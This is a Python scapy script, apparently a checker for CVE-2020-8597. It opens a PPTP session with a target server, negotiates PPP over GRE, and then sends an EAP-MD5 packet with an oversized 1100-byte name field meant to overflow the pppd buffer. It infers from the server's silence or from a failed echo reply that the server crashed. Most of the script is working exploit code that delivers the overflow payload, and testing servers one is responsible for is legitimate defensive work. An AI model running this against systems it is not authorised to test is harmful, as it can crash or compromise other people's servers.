#!/usr/bin/python3

from scapy.all import *
import socket
import sys
import signal
import os
conf_ack_received = False
conf_ack_sent = False
debug = False

if os.environ.get("DEBUG"):
        debug = True

def pkt_callback(pkt):
        global gre_stream, server_conf_request, call_reply, conf_ack_received, conf_ack_sent, debug
        if debug:
                print("Received a GRE packet that shows continued conversation for EAP")
                pkt.show()
        if pkt.haslayer(PPP):
                if pkt.getlayer(PPP).proto == 49699 : # CHAP 0xc223
                        conf_ack_received = True
                        if debug:
                                print("Received a CHAP challenge from peer ignoring")
                                print("Assuming we received a Conf-Ack already")
                        return
        if pkt.haslayer(EAP): 
                if pkt.getlayer(EAP).code == 2 :
                        #EAP Response received for the sent EAP request with bad payload
                        if pkt.getlayer(EAP).type == 3: # If EAP-NaK recevied assume server is ok
                                print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
                                sys.exit(0)
        if pkt.haslayer(PPP_LCP_Configure) :
                p_layer = pkt.getlayer(PPP_LCP_Configure)
                cid = p_layer.id
                if p_layer.code == 2:
                        if debug:
                                print("Received Conf ack we are all okay")
                        conf_ack_received = True
                        if conf_ack_sent == True:
                                return 
                        else:
                                sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)                                                        
                if p_layer.code == 1: #config request
                        if debug:
                                print("Received another Config-Request, should reply this")
                                pkt.show()
                        server_conf_ack = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/
                                                         HDLC()/PPP()/
                                                         PPP_LCP_Configure(code=0x2,id=cid,options=pkt[IP][GRE_PPTP][PPP][PPP_LCP_Configure].options), verbose=debug)
                        conf_ack_sent = True
                        if conf_ack_received: 
                                sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)                        
                        
                if p_layer.code == 10 and p_layer.id == 4: # Echo-reply with id=1
                        if debug:
                                print("We received a Echo-Reply back for ID=4 ping request")
                        print("Server %s is likely NOT vulnerable " % (sys.argv[1]))
                        sys.exit(0)                        

        


def handler(signum, frame):
        if debug:
                print("Timeout has expired")
        raise Exception('Timed out')


if len(sys.argv) < 2:
        print("Usage %s PPTP_Server to test for CVE-2020-8597" %(sys.argv[0]));
        sys.exit(0)
dst = sys.argv[1]
#default pptp port
dport = 1723

print("Initiating communications with PPTP server %s " %(dst))
signal.signal(signal.SIGALRM, handler)
#6 seconds for first TCP response
signal.alarm(6)
#TCP communications
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((dst, dport))
cstream = StreamSocket(client)


# initialize PPTP session
call_id = random.randint(1000,10000)
vr=PPTPStartControlConnectionRequest(vendor_string="cananian")
#This is due to a bug in PPTPStartControlConnectionRequest in scapy where version and
#revision is not properly parsed 
vr.protocol_version=256

cstream.sr1(vr,verbose=debug)
call_reply = cstream.sr1(PPTPOutgoingCallRequest(call_id=call_id),verbose=debug)
call_reply = PPTPOutgoingCallReply(call_reply)

signal.alarm(0)
#Another 6 seconds to do GRE connection
signal.alarm(6)
# GRE communications
gre_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW, socket.IPPROTO_GRE)
gre_socket.connect((dst,dport))
gre_stream = SimpleSocket(gre_socket)
#send configuration request
server_conf_request = gre_stream.sr1(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id)/
            HDLC()/PPP()/
            PPP_LCP_Configure(id=0x1,options=[
                    PPP_LCP_Magic_Number_Option(magic_number=0xaabbccdd) ]),verbose=debug)
server_conf_request = IP(server_conf_request)


signal.alarm(0)
# give 9 seconds for configure ack to complete
signal.alarm(9)
tries = 0
try:
        while conf_ack_received == False or tries < 9:
                sniff(iface="eth0",prn=pkt_callback,count=1,filter='proto gre and src host '+sys.argv[1],store=0)
                tries = tries + 1
except:
        if debug:
                print("Never could recevie a configureation ack from peer due to Timeout")
        tries = 9 
if conf_ack_received == False and tries > 8:
        print("Remote system %s did not provide Configure-Acknowledgement - giving up" %(sys.argv[1]))
        print("Server %s is in UNKNOWN state" %(sys.argv[1]))
        sys.exit(0)
signal.alarm(0)

print("Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow")

bad_pkt=GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+1)/PPP(proto=0xc227)/EAP_MD5(code=1,value_size=16,value='A'*16, optional_name='A'*1100)

gre_stream.send(bad_pkt)

#Look to see if we receive EAP_Nak that means buffer overflow did NOT succeed
signal.alarm(3)
try:
        sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
        print("Server %s is likely vulnerable, did not return anything after EAP packet " % (sys.argv[1]))
        sys.exit(0)
print("Server %s is likely NOT vulnerable to buffer overflow"  % (sys.argv[1]))
signal.alarm(0)

print("Verifying peer %s one more time using a Echo request to the peer "  % (sys.argv[1]))
signal.alarm(3)
#echo request to test if PPP interface is still alive - that means we didnt crash the remote
#pptp server with the bad payload
gre_stream.send(GRE_PPTP(seqnum_present=1,call_id=call_reply.call_id,seqence_number=server_conf_request[IP][GRE_PPTP].seqence_number+2)/
            HDLC()/PPP()/
            PPP_LCP_Configure(code=0x9,id=4))


try:
        PPP_Alive = sniff(iface="eth0", count=1, prn=pkt_callback, filter='proto gre and src host '+sys.argv[1], store=0)
except:
        print("Did not received PPP Echo Reply, check the logs on the server to verify status")
        sys.exit(0)
        
print("Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable")

sys.exit(0)

